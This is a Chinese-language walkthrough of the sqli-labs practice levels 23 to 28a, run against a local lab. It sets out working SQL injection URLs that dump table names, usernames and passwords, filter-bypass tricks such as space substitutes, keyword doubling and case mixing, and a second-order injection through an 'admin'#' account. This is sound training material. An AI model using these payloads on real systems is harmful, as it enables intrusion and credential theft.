前言
这一篇记录的知识点包括:二次注入、对相关字符过滤的绕过,还是得通过源码来分析思路。
Less-23
根据源代码,看到过滤功能的正则表达式函数:
也就是对id过滤掉其中的字符’#’与’–‘,将它们替换为空。再往下查看查询语句:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
所以实际上这个查询过程与Less-01的相同,只不过是Less-01的payload无法注入了。Less-01的payload中#或–+的原理就是为了注释掉后面的查询语句,所以考虑在Less-01的基础上对id后的单引号再次闭合即可:
爆库: 127.0.0.1/sqli-labs-master/Less-23/?id=-1' union select 1,database(),3'
爆表: 127.0.0.1/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3'
爆字段: 127.0.0.1/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3'
爆值: 127.0.0.1/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(username,0x3a,password,0x3c2f62723e) from security.users),3'
Less-24
这一关需要的是新的知识点,即二次注入。其注入原理就是将可能导致 SQL 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 SQL 注入,又称为储存型注入。
查看页面,有三个选项:登录、注册和忘记密码。点击忘记密码,页面回显:
没有下一步的进展,往登录选项考虑,先来看看登录过程的源码:
function sqllogin(){ $username = mysql_real_escape_string($_POST["login_user"]); $password = mysql_real_escape_string($_POST["login_password"]); $sql = "SELECT * FROM users WHERE username='$username' and password='$password'"; //$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'"; $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( '); $row = mysql_fetch_row($res); //print_r($row) ; if ($row[1]) { return $row[1]; } else { return 0; } }
其中对username和password的值进行mysql_real_escape_string()处理,所以对这两者都不能进行常规注入了。所以目前对登录选项也是没有进展的思路,只能从注册的选项入手了。
假设我们注册的账号名为admin’#,看看后台数据库结果,可以发现注册成功:
然后再用admin’#这个账号登录,登录后存在修改密码的操作,我们尝试把admin’#的密码从123改为1234:
修改之后,再查看后台数据库情况:
发现admin’#的密码并没有被改为1234,反而原来存在的admin账号的密码被改了,其实这就是二次注入成功的标志了。为什么会产生这种情况?这是因为修改密码这一步出现了问题,修改密码的源码中存在一个语句:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
当我们修改的username是admin’#时,这个语句被单引号闭合了,后面的语句也被注释掉了,所以这个语句最终变成是修改admin的密码的语句了:
$sql="UPDATE users SET PASSWORD='$pass' where username='admin'#'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
这就是二次注入的原理,会造成任意修改密码的攻击。
Less-25
打开页面显示and与or字符将会被过滤:
可以在源码中找到相关正则匹配:
可以用其他方式来代替or和and的过滤:重写或者用符号||与&&(先进行url编码)
注意information_schema中存在or字符,所以需要进行重写:infoorrmation_schema。
http://127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,database(),3--+
http://127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),3--+
http://127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,database(),3--+
http://127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,(select group_concat(username,0x3a,passwoorrd,0x3c2f62723e) from security.users),3--+
Less-25a
仍然是过滤掉or和and字符,只不过闭合方式从单引号变成数字型,只需去掉上一关的payload中的闭合符号即可。
Less-26
打开页面显示将会过滤空格:
在源码中找到相关正则匹配:
也即过滤了or、and、空格、注释符(–+、/*、*/、#),其中只有空格的绕过方式还没有提到。
可以有以下一些绕法方式:
%09:TAB 键(水平)
%0a:新建一行
%0c:新的一页
%0d:return 功能
%0b:TAB 键(垂直)
%a0:空格
%20:urlencode
/**/:注释
`:反引号绕过
()绕过空格:在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来
这里用%a0来代替空格,由于windows无法实现该代替功能(windows可以实现%0b的代替,然而这一关把它也给过滤了),所以需要在linux环境下注入,而且id不能用-1了,因为负号会被过滤掉变成1:
http://127.0.0.1/sqli-labs-master/Less-26/?id=0'%a0union%a0select%a01,database(),3'
http://127.0.0.1/sqli-labs-master/Less-26/?id=0'%a0union%a0select%a01,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()),3'
http://127.0.0.1/sqli-labs-master/Less-26/?id=0'%a0union%a0select%a01,database(),3'
http://127.0.0.1/sqli-labs-master/Less-26/?id=0'%a0union%a0select%a01,(select%a0group_concat(username,0x3a,passwoorrd,0x3c2f62723e)%a0from%a0security.users),3'
Less-26a
这道题和过滤点和Less-26一样,只不过关闭了报错语句,因此没有办法使用报错注入,但仍然可以使用union联合查询或布尔盲注,另外闭合点也变成了’)。
Less-27
页面显示将会过滤union字符:
在源码中找到相关正则匹配:
可以看出,主要是过滤了注释符、select(Select)、union(Union)、空格。可以用大小写混合绕过,或者重写绕过。 这一关windows下%0b不会被过滤了。其他的绕过方法前几关已经说了。
http://127.0.0.1/sqli-labs-master/Less-27/?id=0'%0bUnIon%0bSeLect%0b1,database(),3' http://127.0.0.1/sqli-labs-master/Less-27/?id=0'%0buNion%0bsElect%0b1,(sElect%0bgroup_concat(table_name)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema=database()),database()' http://127.0.0.1/sqli-labs-master/Less-27/?id=0'%0bUnIon%0bSeLect%0b1,(SeLect%0bgroup_concat(column_name)%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema=database()%0band%0btable_name='users'),3%0bor%0b' http://127.0.0.1/sqli-labs-master/Less-27/?id=0'%0bUnIon%0bSeLect%0b1,(SeLect%0bgroup_concat(username,0x3a,password,0x3c2f62723e)%0bfrom%0bsecurity.users),3%0bor%0b'
Less-27a
这一关与上一关仍然类似,不过是关闭的报错语句(仍然使用union即可),改变闭合方式为双引号。
Less-28
查看过滤语句:
在之前过滤的字符的基础上,再过滤了union+空格字符+select相连的语句,所以应该重写union和select,另外闭合符号为’),所以不能在结尾处添加(‘来绕过注释符了,应该接上一个逻辑语句。
http://127.0.0.1/sqli-labs-master/Less-28/?id=0')%0bunion%0bunion%0bselect%0bselect%0b1,database(),3%0bor%0b('
http://127.0.0.1/sqli-labs-master/Less-28/?id=0')%0bunion%0bunion%0bselect%0bselect%0b1,(select%0bgroup_concat(table_name)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema=database()),3%0bor%0b('
http://127.0.0.1/sqli-labs-master/Less-28/?id=0')%0bunion%0bunion%0bselect%0bselect%0b1,(SeLect%0bgroup_concat(column_name)%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema=database()%0band%0btable_name='users'),3%0bor%0b('
http://127.0.0.1/sqli-labs-master/Less-28/?id=0')%0bunion%0bunion%0bselect%0bselect%0b1,(SeLect%0bgroup_concat(username,0x3a,password,0x3c2f62723e)%0bfrom%0bsecurity.users),3%0bor%0b('
Less-28a
查看过滤语句的正则匹配:
前面一大堆的正则匹配都被注释掉了,直接干就完了。可以用上一关的payload。